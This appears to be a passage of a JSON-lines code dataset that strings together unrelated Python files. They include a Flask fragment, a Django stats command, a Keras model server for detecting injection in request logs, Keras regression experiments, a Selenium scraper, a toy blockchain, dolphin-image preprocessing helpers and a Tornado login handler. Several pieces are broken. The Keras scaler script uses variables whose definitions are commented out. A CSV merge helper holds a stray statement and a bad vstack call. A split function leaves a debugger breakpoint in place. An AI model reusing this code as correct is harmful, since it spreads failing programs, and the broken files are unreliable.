fake dob\n context = {'name':name, 'dob':dob}\n return render_template('result.html', **context)\n\napp.run(debug=True)\n","sub_path":"Week2/pap_result/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"205622068","text":"from __future__ import absolute_import, division, print_function\n\nimport datetime\nimport json\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.management.base import BaseCommand\nfrom django.contrib.contenttypes.models import ContentType\nimport reversion\nfrom reversion.models import Version, Revision\n\nfrom peeringdb_server.models import REFTAG_MAP, UTC\n\n\nclass Command(BaseCommand):\n \"\"\"\n Posts stat breakdown for any given date, if not date is supplied\n today will be used\n \"\"\"\n\n tags = [\"fac\", \"ix\", \"net\", \"org\"]\n\n def add_arguments(self, parser):\n parser.add_argument(\"--date\", action=\"store\", default=None,\n help=\"generate stats for this date\")\n parser.add_argument(\"--format\", action=\"store\", default=\"text\",\n help=\"output format to use\")\n\n def status_at_date(self, obj, dt):\n versions = Version.objects.get_for_object(obj)\n version = versions.filter(revision__date_created__lte=dt).order_by(\n \"-revision__date_created\").first()\n if version:\n return version.field_dict[\"status\"]\n else:\n return obj.status\n\n def handle(self, *args, **options):\n date = options.get('date', None)\n if date:\n dt = datetime.datetime.strptime(date, \"%Y%m%d\")\n else:\n dt = datetime.datetime.now()\n\n dt = dt.replace(hour=23, minute=23, second=59, tzinfo=UTC())\n date = dt.replace(tzinfo=None).strftime(\"%Y-%m-%d\")\n stats = {\"users\": 0}\n\n for tag in self.tags:\n model = REFTAG_MAP[tag]\n stats[tag] = 0\n for obj in model.objects.filter(created__lte=dt):\n if self.status_at_date(obj, dt) == \"ok\":\n stats[tag] += 1\n\n for user in get_user_model().objects.filter(created__lte=dt):\n if user.is_verified:\n stats[\"users\"] += 1\n\n codec = options.get(\"format\")\n if codec == \"text\":\n print(date)\n print(\"-------------\")\n for each in stats.keys():\n print(\"{}: {}\".format(each, stats[each]))\n\n elif codec == \"json\":\n print(json.dumps({date: stats}))\n\n else:\n raise Exception(\"unknown format {}\".format(codec))\n","sub_path":"peeringdb_server/management/commands/pdb_stats.py","file_name":"pdb_stats.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476029169","text":"import subprocess\nimport os\nfrom tampc import cfg\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n model_dir = os.path.join(cfg.ROOT_DIR, 'models')\n model_files = [f for f in os.listdir(model_dir) if os.path.isfile(os.path.join(model_dir, f))]\n for f in model_files:\n # reject non-xacro\n if not f.endswith('.xacro'):\n continue\n\n if f.startswith('_'):\n continue\n\n name = os.path.splitext(f)[0]\n full_path = os.path.join(model_dir, f)\n\n command = \"rosrun xacro xacro {} > {}.urdf\".format(full_path, os.path.join(cfg.ROOT_DIR, name))\n logger.info(command)\n subprocess.run(command, shell=True)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO,\n format='[%(levelname)s %(asctime)s %(pathname)s:%(lineno)d] %(message)s',\n datefmt='%m-%d %H:%M:%S')\n main()\n","sub_path":"build_models.py","file_name":"build_models.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"638273097","text":"import io\nimport os\nimport numpy as np\nimport pandas\nimport json\nimport logging #<== Optional. Log to console, file, kafka\nfrom pipeline_monitor import prometheus_monitor as monitor #<== Optional. Monitor runtime metrics\nfrom pipeline_logger import log\n\nimport tensorflow as tf\nfrom tensorflow.contrib import predictor\nfrom keras.models import Sequential, load_model\nfrom keras.preprocessing import sequence\nfrom keras.preprocessing.text import Tokenizer\nfrom collections import OrderedDict\n\n_logger = logging.getLogger('pipeline-logger')\n_logger.setLevel(logging.INFO)\n_logger_stream_handler = logging.StreamHandler()\n_logger_stream_handler.setLevel(logging.INFO)\n_logger.addHandler(_logger_stream_handler)\n\n__all__ = ['invoke'] #<== Optional. Being a good Python citizen.\n\n_labels = { #<== Optional. Used for metrics/labels\n 'name': 'injection',\n 'tag': 'v1',\n 'type': 'tensorflow',\n 'runtime': 'python',\n 'chip': 'cpu',\n }\n\n\ndef _initialize_upon_import(): #<== Optional. Called once upon server startup\n ''' Initialize / Restore Model Object.\n '''\n model = load_model('securitai-lstm-model.h5')\n model.load_weights('securitai-lstm-weights.h5')\n model.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['accuracy'])\n return model\n\n\n# This is called unconditionally at *module import time*...\n_model = _initialize_upon_import()\n\n\n#@log(labels=_labels, logger=_logger) #<== Optional. Sample and compare predictions\ndef invoke(request): #<== Required. Called on every prediction\n '''Where the magic happens...'''\n\n with monitor(labels=_labels, name=\"transform_request\"): #<== Optional. Expose fine-grained metrics\n transformed_request = _transform_request(request) #<== Optional. Transform input (json) into TensorFlow (tensor)\n\n with monitor(labels=_labels, name=\"invoke\"): #<== Optional. Calls _model.predict()\n response = _model.predict(transformed_request)\n\n with monitor(labels=_labels, name=\"transform_response\"): #<== Optional. Transform TensorFlow (tensor) into output (json)\n transformed_response = _transform_response(response)\n\n return transformed_response #<== Required. Returns the predicted value(s)\n\n\ndef _transform_request(request):\n request_str = request.decode('utf-8')\n\n # tokenize the csv request and create json\n X = pandas.read_csv(io.StringIO(request_str), engine='python', quotechar='|', header=None).values[:,0]\n for index, item in enumerate(X):\n reqJson = json.loads(item, object_pairs_hook=OrderedDict)\n del reqJson['http']['timestamp']\n del reqJson['http']['headers']\n del reqJson['http']['source']\n del reqJson['http']['route']\n del reqJson['http']['responsePayload']\n X[index] = json.dumps(reqJson, separators=(',', ':'))\n\n tokenizer = Tokenizer(filters='\\t\\n', char_level=True)\n tokenizer.fit_on_texts(X)\n # this used to be [log_entry]\n seq = tokenizer.texts_to_sequences([request_str])\n max_log_length = 1024\n log_entry_processed = sequence.pad_sequences(seq, maxlen=max_log_length)\n\n return log_entry_processed \n\n\ndef _transform_response(response):\n return response[0]\n\n\nif __name__ == '__main__':\n with open('./pipeline_test_request.csv', 'rb') as fb:\n request_bytes = fb.read()\n response_bytes = invoke(request_bytes)\n print(response_bytes)\n","sub_path":"keras/lstm-securitai/model/pipeline_invoke_python.py","file_name":"pipeline_invoke_python.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473477444","text":"#1. data\r\nimport numpy as np\r\nfrom numpy import array , transpose\r\nx = array([[1,2,3], [2,3,4], [3,4,5], [4,5,6], [5,6,7],\r\n [6,7,8], [7,8,9], [8,9,10], [9,10,11], [10,11,12],\r\n [20000,30000,40000], [30000,40000,50000],\r\n [40000,50000,60000], [100,200,300]])\r\n\r\ny = array([4,5,6,7,8,9,10,11,12,13,50000,60000,70000,400])\r\n\r\n# scale fit to all(x)\r\n\"\"\" from sklearn.preprocessing import MinMaxScaler , StandardScaler , RobustScaler , MaxAbsScaler\r\nscaler = StandardScaler()\r\nscaler.fit(x)\r\nx = scaler.transform(x)\r\nx = x.reshape(x.shape[0], x.shape[1], 1)\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42, shuffle=True)\r\n\r\nprint('x_train: ', x_train, '\\n', 'x_test: ', x_test) \"\"\"\r\n\r\n# scale fit to x_train\r\n\"\"\" from sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42, shuffle=True)\r\n\r\nfrom sklearn.preprocessing import MinMaxScaler , StandardScaler , RobustScaler , MaxAbsScaler\r\nscaler = MinMaxScaler()\r\nscaler.fit(x_train)\r\nx_train = scaler.transform(x_train)\r\nx_test = scaler.transform(x_test)\r\n\r\nprint('x_train: ', x_train, '\\n', 'x_test: ', x_test)\r\n\r\nx_train = x_train.reshape(x_train.shape[0], x_train.shape[1], 1)\r\nx_test = x_test.reshape(x_test.shape[0], x_test.shape[1], 1) \"\"\"\r\n\r\n\r\nfrom keras.models import Model\r\nfrom keras.layers import Dense , Input, LSTM\r\ninput1 = Input(shape=(3,1))\r\n_m = LSTM(512)(input1)\r\n_m = Dense(256)(_m)\r\n_m = Dense(128)(_m)\r\n_m = Dense(64)(_m)\r\n_m = Dense(32)(_m)\r\n_m = Dense(16)(_m)\r\n_m = Dense(8)(_m)\r\n_m = Dense(4)(_m)\r\n_m = Dense(2)(_m)\r\noutput1 = Dense(1)(_m)\r\nmodel = Model(inputs=input1, outputs=output1)\r\n# model.summary()\r\n\r\n#3. 훈련\r\nmodel.compile(loss='mse', optimizer='adam', metrics=['mse'])\r\n\r\nfrom keras.callbacks import EarlyStopping\r\nearly_stopping = EarlyStopping(monitor='loss', patience=20, mode='auto')\r\n\r\nmodel.fit(x_train, y_train, epochs=100, batch_size=1, callbacks=None, validation_split=0.2, verbose=2)\r\n\r\n#4. 평가 및 예측\r\naaa = model.evaluate(x_test, y_test, batch_size=1)\r\nprint('mse: ', aaa[0])\r\n\r\nx_prd = array([[2010,2010,2010],[2040,2040,2040],[4010,4010,4010]])\r\nx_prd = scaler.transform(x_prd)\r\nx_prd = x_prd.reshape(x_prd.shape[0], x_prd.shape[1], 1)\r\np = model.predict(x_prd, batch_size=1)\r\nprint(p)\r\n\r\n#RMSE 구하기\r\nfrom sklearn.metrics import mean_squared_error\r\ny_predict = model.predict(x_test, batch_size=1)\r\n# print(x_test, y_predict, x_test.shape, y_predict.shape)\r\ndef RMSE(y_test, y_predict):\r\n return np.sqrt(mean_squared_error(y_test, y_predict))\r\nprint('RMSE :', RMSE(y_test, y_predict))\r\n\r\n#R2 구하기\r\nfrom sklearn.metrics import r2_score\r\nr2_y_predict = r2_score(y_test, y_predict)\r\nprint(f'R2: {r2_y_predict}')\r\n# print('R2: ', r2_y_predict) ","sub_path":"keras17_scaler2.py","file_name":"keras17_scaler2.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"386893627","text":"#!/usr/bin/python3\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport calendar\nimport time\nfrom selenium.webdriver.common.keys import Keys\nfrom tqdm import trange\nfrom time import sleep\nfrom pprint import pprint\n# import requests\n# import os.path\n# import os\n# import sys\n\n# file that contains start date and end date\nimport config\n\nprint(\"Month/Year: \", calendar.month_name[(int)(config.month)].lower(), config.year)\n\nprint(\"Opening driver\")\ndriver = webdriver.PhantomJS();\ndriver = webdriver.PhantomJS(desired_capabilities={'loadImages': False, 'javascriptEnabled': False})\n# settings are not getting applied to driver by the above line, practically\n# from pprint import pprint\n\n# open start url\nselectDateURL = \"http://www.aftdelhi.nic.in/judgments_may2016_kochi.html\"\n\nprint(\"Opening courts page\")\ndriver.set_page_load_timeout(1)\ndriver.get(selectDateURL)\n\n# try:\n# element = WebDriverWait(driver, 20).until(\n# EC.presence_of_element_located((By.XPATH, \".//*[@id='table2']/tbody/tr/td/p/font/a\"))\n# ) # wait untill search button is not visible\n# except:\n# print(\"page not loaded in 20 secs. Check network\")\n# quit(1)\n\nprint(\"courts opened\")\n\n\nlog = open(\"./linkFile.txt\", \"w\")\n\nmonthSelect = driver.find_element_by_xpath(\n \"html/body/div[2]/center/table/tbody/tr[1]/td[2]/div/font[3]/table/tbody/tr[2]/td/form/select\")\n\nmonthFound = False\nfor option in monthSelect.find_elements_by_tag_name('option'):\n if option.get_attribute('value') == \"judgments_\" + calendar.month_name[\n (int)(config.month)].lower() + config.year + \"_kochi\" + \".html\":\n monthFound = True\n option.click()\n break\n\nif monthFound == False:\n print(\"Month/Year not found\")\nelse:\n clickHere = driver.find_element_by_xpath(\n \"html/body/div[2]/center/table/tbody/tr[1]/td[2]/div/font[3]/table/tbody/tr[2]/td/form/input\")\n clickHere.click()\n\n casesSelect = driver.find_element_by_xpath(\".//*[@id='table2']/tbody/tr[2]/td[1]/form/select\")\n # for option in casesSelect.find_elements_by_tag_name('option'):\n l = len(casesSelect.find_elements_by_tag_name('option'))\n for j in trange(l, unit=\"case\", leave=False):\n option = casesSelect.find_elements_by_tag_name('option')[j]\n pdflink = \"http://www.aftdelhi.nic.in/\" + option.get_attribute('value').replace(\" \", \"%20\")\n log.write(pdflink + \"\\n\")\n log.flush()\n\nlog.close()\nprint(\"Done\")\ndriver.quit()\n","sub_path":"Kochi/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"520184767","text":"import random as rnd\nimport string\n\n\ndef create_rnd_string(min_limit, max_limit):\n chars = string.ascii_letters\n str_range = rnd.randint(min_limit, max_limit)\n return ''.join(rnd.choice(chars) for i in range(str_range))\n\n\ndef create_email(name, domain, rnd_num, rnd_string):\n return name + \".\" + str(rnd_num) + \"@\" + rnd_string + \".\" + domain\n\n\ndef get_rnd_num_and_commas_list(num_min, num_max, length):\n nums = [\" \" + str(rnd.randint(num_min, num_max)) for i in range(length)]\n punctuation = [rnd.choice(\",\" + \"\\n\") for v in range(length)]\n rnd_punct_and_nums = [rnd.choice(nums + punctuation) for i in range(length)]\n return [rnd.choice(punctuation + rnd_punct_and_nums) for i in range(length)]\n\n\ndef split_string_to_words(rnd_string, min_word_lim, max_word_lim):\n split_list = []\n str_length = len(rnd_string)\n i = 0\n while i < str_length:\n r = rnd.randint(min_word_lim, max_word_lim)\n split_list.append(rnd_string[i:i + r])\n i = i + r\n return split_list\n\n\ndef convert_string_to_text(rnd_string_list, rnd_punct, coefficient=0.3):\n str_len = len(rnd_string_list)\n if str_len < 3:\n return rnd_string_list\n end_word = rnd_string_list.pop(str_len - 1)+\".\"\n start_word = rnd_string_list.pop(0).capitalize()\n new_list = []\n for i in rnd_string_list:\n if rnd.random() < coefficient:\n p = str(rnd.choice(rnd_punct)) + \" \"\n else:\n p = \" \"\n new_list.append(i + p)\n return start_word + ''.join(new_list) + end_word\n\n\n'''\nНаписать функцию для генерирования e-mail в формате:\nфамилия.число_от_100_до_999@строка_букв_длинной_от_5_до_7_символов.домен\nфамилию и домен брать случайным образом из заданных списков переданных в функцию в виде параметров.\nСтроку и число генерировать случайным образом.\nБуквы в строке МОГУТ повторяться (перемешивание алфавита не подойдет, так как буквы не смогут повторяться)\n'''\nsurname = [\"Uranus\", \"Jupitor\", \"Mars\", \"Sun\", \"Pluto\", \"Saturn\", \"Mercury\", \"Earth\"]\ndomains = ['cloud', 'city', 'ir', 'cn', 'br', 'web', 'ua', 'net', 'co.uk', 'edu',\n 'eg', 'club', 'dm', 'lv', 'co', 'ru', 'tv', 'in', 'int', 'org', 'com']\n\n# zadanie 1\n\nmin_length = 5\nmax_length = 7\nname = rnd.choice(surname)\ndomain = rnd.choice(domains)\nrnd_num = rnd.randint(100, 999)\nrnd_string = create_rnd_string(min_length, max_length).lower()\nemail = create_email(name=name, rnd_num=rnd_num, domain=domain, rnd_string=rnd_string)\nprint(\"\\n\\n\", \"Задание №1: \\n\", email, \"\\n\\n\")\n\n\n# zadanie 2\n\nrnd_string = create_rnd_string(100, 500)\nprint(\"Задание №2: \\n\", rnd_string, \"\\n\\n\")\n\n# zadanie 3\nnum_min = 0\nnum_max = 100\nword_min_len = 1\nword_max_len = 10\nstring_to_words = split_string_to_words(rnd_string.lower(), word_min_len, word_max_len)\n# следующее не обязательно, можно и пропустить и инжектировать в список отдельныой функцией\npunctuations_and_nums = get_rnd_num_and_commas_list(num_min, num_max, len(string_to_words))\nrandom_text = convert_string_to_text(string_to_words, punctuations_and_nums)\n\nprint(\"Задание №3: \\n\", random_text, \"\\n\\n\")\n","sub_path":"domashka8.py","file_name":"domashka8.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"428345087","text":"\nfrom lib.tcpClient import TcpClient\nimport tpUtils\nimport sys\nfrom constant import *\nimport json\n\n\nclass Tp00:\n \"\"\"\n #00 direct I/O lines\n \"\"\"\n\n def __init__(self, slot, comm, host=None):\n \"\"\"\n コンストラクタ\n \"\"\"\n self.slot = slot\n self.comm = comm\n self.host = host\n\n def start(self):\n \"\"\"\n 開始処理\n \"\"\"\n self.tcp_client = TcpClient()\n self.tcp_client.connect_by_conf(self.host, self.slot, self.comm)\n\n def send(self, msg):\n \"\"\"\n データを送信します。\n \"\"\"\n recv_data = self.tcp_client.send(msg)\n return recv_data\n\n def lock(self, slot, name=\"\"):\n \"\"\"\n 排他ロック\n \"\"\"\n self.tcp_client.lock(slot, name)\n\n def unlock(self, slot, name=\"\"):\n \"\"\"\n 排他ロック解除\n \"\"\"\n self.tcp_client.unlock(slot, name)\n\n\nif __name__ == '__main__':\n\n argvs = sys.argv\n if (len(argvs) <= 2):\n tpUtils.stderr('Need argv! [1]: slot [2]: communication')\n sys.exit(0)\n\n try:\n slot = argvs[1]\n comm = argvs[2]\n host = None\n if (len(argvs) > 3):\n host = argvs[3]\n tp00 = Tp00(slot, comm, host)\n tp00.start()\n except Exception as e:\n tpUtils.stderr(str(e.args))\n sys.exit(0)\n\n while True:\n try:\n data = input()\n if (comm != Serial):\n recv_data = tp00.send(data)\n else:\n obf_data = json.loads(data)\n recv_data = tp00.send(bytearray(obf_data['data']))\n\n tpUtils.nodeOut(recv_data.decode('utf-8'))\n except KeyboardInterrupt:\n sys.exit(0)\n except Exception as e:\n tpUtils.stderr(str(e.args))\n tpUtils.nodeOut(\"\")\n","sub_path":"py/tp00.py","file_name":"tp00.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"227115344","text":"# Just some useful stuff for preprocessing dolphin images\nimport os\nimport datetime\nimport numpy as np\nimport warnings\nimport pdb\nfrom PIL import Image\n\n\ndef fid_to_pid(fid, mode=\"common\"):\n if mode == \"common\":\n # First 4 characters of filename determines pid\n return os.path.split(fid)[-1][0:4]\n elif mode == \"Bottle\":\n # First 5 characters of filename determines pid\n return fid[0:5]\n elif mode == \"subfolder\":\n # Subfolder determines pid\n head, fn = os.path.split(fid)\n subfolder = os.path.split(head)[-1]\n return subfolder\n else:\n raise NotImplementedError(\"Mode {} is not implemented\".format(mode))\n\n\ndef is_image(filename):\n return filename.lower()[-4:] in [\".jpg\", \".png\"]\n\n\ndef move_image(filename, outfile, flip=False, target_size=None):\n \"\"\"\n\n :param filename:\n :param outfile:\n :param flip:\n :param target_size:\n :return:\n \"\"\"\n img = Image.open(filename)\n if flip:\n img = img.transpose(Image.FLIP_LEFT_RIGHT)\n if target_size is not None:\n img = img.resize(target_size)\n img.save(outfile)\n\n\ndef mkdir(dir):\n if not os.path.exists(dir):\n os.mkdir(dir)\n\n\ndef make_date(filename):\n \"\"\"\n (common only)\n Converts a filename from the common dolphin dataset to the date the image was taken at.\n :param filename:\n :return:\n \"\"\"\n date = filename[8:14]\n year = int(\"20\" + date[0:2])\n month = int(date[2:4])\n day = int(date[4:6])\n return datetime.date(year=year, month=month, day=day)\n\n\ndef rand_split(array, n, nmax):\n \"\"\"\n Splits array along 0th dimension\n\n :param array: array to be split into query/gallery\n :param n: Number of query images\n :param nmax: Maximum number of gallery images\n :return:\n \"\"\"\n array = np.asarray(array)\n permuted_array = np.random.permutation(array)\n if nmax is None or nmax < -1:\n return permuted_array[:n], permuted_array[n:]\n else:\n nmax = min(nmax, len(array))\n return permuted_array[:n], permuted_array[n:nmax]\n\n\ndef make_val_labels(csv_array, n_queries=1, max_gallery_examples=None):\n \"\"\"\n Converts a numpy array represnting a csv of pid/fid\n :param csv_array:\n :param n_queries:\n :param max_gallery_examples:\n :return:\n \"\"\"\n queries = []\n gallery = []\n\n pids = np.unique(csv_array[:, 0]) # Unique PIDs are in first column\n pids.sort()\n for pid in pids:\n indices_with_pid = np.where(csv_array[:,0] == pid)\n fids_with_pid = csv_array[indices_with_pid][:, 1]\n if len(fids_with_pid) <= n_queries:\n warnings.warn(\n \"Couldn't select {} query image(s) from dolphin {} because it only has {} images\"\n .format(n_queries, pid, len(fids_with_pid)))\n print(\"I'm continuing without including it.\")\n continue\n\n # Split all the csv rows into query and galley\n q_fids, g_fids = rand_split(fids_with_pid, n_queries, max_gallery_examples)\n\n queries += [[pid, fid] for fid in q_fids]\n gallery += [[pid, fid] for fid in g_fids]\n\n return np.asarray(queries), np.asarray(gallery)\n\n\ndef merge_csv_arrays(a, b):\n for pid_a in a[:, 0]:\n p\n if pid_a in b[:, 0]:\n raise Exception(\"amurica run no dun dun bruh\")\n return np.vstack(a, b)\n\n\ndef train_val_split1(csv_array, val_split, split_mode=\"pid\"):\n \"\"\"\n Splits csv_array based on either the pid or fid\n :param csv_array: ndarray of [pid, fid], shape N x 2\n :param val_split: float in [0,1], fraction of images to use for validation\n :param split_mode: in [\"fid\", \"pid\"], whether to split by class or by image\n :return: train_Csv, val_csv\n \"\"\"\n if split_mode == \"fid\":\n n = int(val_split * csv_array.shape[0])\n val_csv, train_csv = rand_split(csv_array, n, -1)\n elif split_mode == \"pid\":\n pids = np.unique(csv_array[:, 0]) # Unique PIDs are in first column\n pids.sort()\n n = int(val_split * len(pids))\n val_pids, train_pids = rand_split(pids, n, -1)\n pdb.set_trace()\n train_csv = np.asarray([row for row in csv_array if row[0] in train_pids])\n val_csv = np.asarray([row for row in csv_array if row[0] in val_pids])\n\n return train_csv, val_csv","sub_path":"dolphin_utils/prepro_utils.py","file_name":"prepro_utils.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"9076818","text":"#加密算法模块\nimport hashlib\n#时间模块\nimport datetime\n\nclass www_block_coin(object):\n\n def __init__(self,index,timestamp,data,next_hash):\n #索引\n self.index = index\n #时间戳\n self.timestamp = timestamp\n #交易数据\n self.data = data\n #下一区块的hash\n self.next_hash = next_hash\n #自身hash\n self.self_hash = self.hash_www_block()\n\n #计算自身hash\n def hash_www_block(self):\n #将区块的整体信息合并,作为加密的数据,注意到将其中任意一项数据改变后都会导致后面整条链的改变\n block_info = '%s%s%s%s'%(self.index,self.timestamp,self.data,self.next_hash)\n SHA = hashlib.sha256()\n SHA.update(block_info.encode('utf-8'))\n #返回加密后得到的自身hash\n return SHA.hexdigest()\n\n#创建第一个区块,即创世区块\ndef create_first_www_block():\n #索引为0,时间戳为创建时的时间戳,交易数据定为'hello world',下一区块的hash为0\n return www_block_coin(0,datetime.datetime.now(),100000,'0')\n\n#创建普通区块,根据上一个区块的数据进行改变\ndef create_many_www_coin(last_block):\n #索引为上一个区块的索引+1,很好理解\n this_index = last_block.index+1\n #时间戳为当前时间戳\n this_datastamp = datetime.datetime.now()\n #数据暂且定为hello world+index\n this_data = last_block.data-1000\n this_hash = last_block.self_hash\n #创建区块\n return www_block_coin(this_index, this_datastamp, this_data, this_hash)\n\n#采用列表来存储区块,第一个数据为创世区块\nwww_blocks = [create_first_www_block()]\n\n#先创建10个区块\nfor i in range(1,10):\n #i从1开始循环,每次调用创建区块的方法都要用上一个区块作为参数传递\n www_bolcks_add = create_many_www_coin(www_blocks[i-1])\n #将创建好的区块加入列表,即区块链\n www_blocks.append(www_bolcks_add)\n\nfor block in www_blocks:\n print(block.index,block.timestamp,block.data,block.self_hash,block.next_hash)","sub_path":"BlockChain/StudyCode/Chain001.py","file_name":"Chain001.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443790006","text":"import asyncio\nimport os\n\nfrom toshi.database import DatabaseMixin\nfrom toshi.errors import JSONHTTPError\nfrom datetime import datetime, timedelta\nfrom toshi.ethereum.utils import data_encoder\nfrom functools import partial\nfrom toshi.handlers import BaseHandler, RequestVerificationMixin\nfrom tornado.ioloop import IOLoop\nfrom .handlers import user_row_for_json\n\nimport string\n\nb62chars = string.digits + string.ascii_letters\nb62base = len(b62chars)\n\ndef b62encode(num):\n '''Encode number in base62, returns a string.'''\n if num < 0:\n raise ValueError('cannot encode negative numbers')\n\n if num == 0:\n return b62chars[0]\n\n digits = []\n while num:\n rem = num % b62base\n num = num // b62base\n digits.append(b62chars[rem])\n return ''.join(reversed(digits))\n\n\ndef b62decode(string):\n '''Decode a base62 string to a number.'''\n loc = b62chars.index\n size = len(string)\n num = 0\n\n for i, ch in enumerate(string, 1):\n num += loc(ch) * (b62base ** (size - i))\n\n return num\n\nDEFAULT_LOGIN_REQUESTS = {}\n\nclass LoginAttempt:\n\n def __init__(self, timeout=60, on_timeout=None):\n self._future = asyncio.Future()\n self._timeout = timeout\n if on_timeout:\n ioloop = IOLoop.current()\n self._looptimeout = ioloop.add_timeout(ioloop.time() + timeout, on_timeout)\n else:\n self._looptimeout = None\n\n def set_cancelled(self):\n if not self._future.done():\n self._future.set_result(None)\n\n def cancel_timeout(self):\n if self._looptimeout:\n IOLoop.current().remove_timeout(self._looptimeout)\n self._looptimeout = None\n\n def set_success(self, address):\n if not self._future.done():\n self._future.set_result(address)\n\n def set_failed(self, address):\n if not self._future.done():\n self._future.set_result(False)\n\n def __await__(self):\n return self._future.__await__()\n\nclass LoginHandler(RequestVerificationMixin, DatabaseMixin, BaseHandler):\n\n @property\n def login_requests(self):\n return DEFAULT_LOGIN_REQUESTS\n\n def is_address_allowed(self, address):\n return True\n\n def create_new_login_future(self, key, timeout=60):\n if key in self.login_requests:\n self.login_request[key].set_cancelled()\n self.login_requests[key] = LoginAttempt(on_timeout=partial(self.invalidate_login, key))\n\n def invalidate_login(self, key):\n if key in self.login_requests:\n self.login_requests[key].set_cancelled()\n self.login_requests[key].cancel_timeout()\n del self.login_requests[key]\n\n def set_login_result(self, key, address):\n if key not in self.login_requests:\n self.create_new_login_future(key)\n if self.is_address_allowed(address):\n self.login_requests[key].set_success(address)\n else:\n self.set_cancelled()\n\n async def on_login(self, address):\n\n num = int(data_encoder(os.urandom(16))[2:], 16)\n token = b62encode(num)\n\n async with self.db:\n row = await self.db.fetchrow(\"SELECT * FROM users where toshi_id = $1\", address)\n if row is None:\n raise JSONHTTPError(401)\n await self.db.execute(\"INSERT INTO auth_tokens (token, address) VALUES ($1, $2)\",\n token, address)\n await self.db.commit()\n self.write({'auth_token': token})\n\n async def post(self, key):\n\n address = self.verify_request()\n self.set_login_result(key, address)\n self.set_status(204)\n\n async def get(self, key):\n\n if self.is_request_signed():\n\n address = self.verify_request()\n self.set_login_result(key, address)\n self.set_status(204)\n\n else:\n\n if key not in self.login_requests:\n self.create_new_login_future(key)\n\n address = await self.login_requests[key]\n\n if address is None:\n raise JSONHTTPError(400, body={'errors': [{'id': 'request_timeout', 'message': 'Login request timed out'}]})\n if address is False:\n raise JSONHTTPError(401, body={'errors': [{'id': 'login_failed', 'message': 'Login failed'}]})\n\n if hasattr(self, 'on_login'):\n f = self.on_login(address)\n if asyncio.iscoroutine(f):\n f = await f\n return f\n # else\n self.write({\"address\": address})\n\n def set_default_headers(self):\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n self.set_header('Access-Control-Allow-Methods', 'GET, OPTIONS')\n self.set_header('Access-Control-Allow-Headers', 'Content-Type')\n\n def options(self, address):\n self.set_status(204)\n self.finish()\n\nclass WhoDisHandler(DatabaseMixin, BaseHandler):\n\n async def get(self, token):\n\n user = None\n async with self.db:\n row = await self.db.fetchrow(\"SELECT u.*, a.created AS auth_token_created FROM auth_tokens a \"\n \"JOIN users u ON a.address = u.toshi_id \"\n \"WHERE a.token = $1\", token)\n if row is not None:\n # only allow tokens to be used for 10 minutes\n print(row)\n if row['auth_token_created'] + timedelta(minutes=10) > datetime.utcnow():\n user = user_row_for_json(self.request, row)\n else:\n print('expired')\n # remove token after single use\n await self.db.execute(\"DELETE FROM auth_tokens WHERE token = $1\", token)\n await self.db.commit()\n else:\n print('not found')\n\n if user:\n self.write(user)\n else:\n raise JSONHTTPError(404)\n","sub_path":"toshiid/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":6013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41055722","text":"import os\nimport sys\nimport subprocess\nimport glob\n\n\nsrc_dir = '/unix/atlasvhbb2/ava/DL1_framework/'\nout_dir = '/unix/atlastracking/ava/convertedInputs/'\nin_dir_zp = '/unix/atlasvhbb2/srettie/tracking/athenaOutputs_full_custom_ipxd/'\nin_dir_ttbar = '/unix/atlastracking/srettie/grid_downloads_custom_ipxd/'\nconversion_script = '/unix/atlasvhbb2/ava/DL1_framework/tools/convert_fromROOT.py'\n\nsamples = {\n 'zp': 'mc16_13TeV.427081.Pythia8EvtGen_A14NNPDF23LO_flatpT_Zprime_Extended.merge.AOD.e6928_e5984_s3126_r10201_r10210',\n 'ttbar': 'mc16_13TeV.410470.PhPy8EG_A14_ttbar_hdamp258p75_nonallhad.merge.AOD.e6337_e5984_s3126_r10201_r10210'\n}\n\nfiles_per_job = 200\nfor sample in samples.keys():\n if sample == 'zp': in_dir = in_dir_zp + samples[sample]\n elif sample == 'ttbar': in_dir = in_dir_ttbar + samples[sample]\n\n track = sys.argv[1]\n outDir = out_dir + samples[sample] + '/' + track\n in_dir += '/' + track\n if not (os.path.isdir(outDir)): os.makedirs(outDir)\n\n singularity_cmd = 'export XDG_RUNTIME_DIR=\"\"; singularity exec --bind {},{},{} 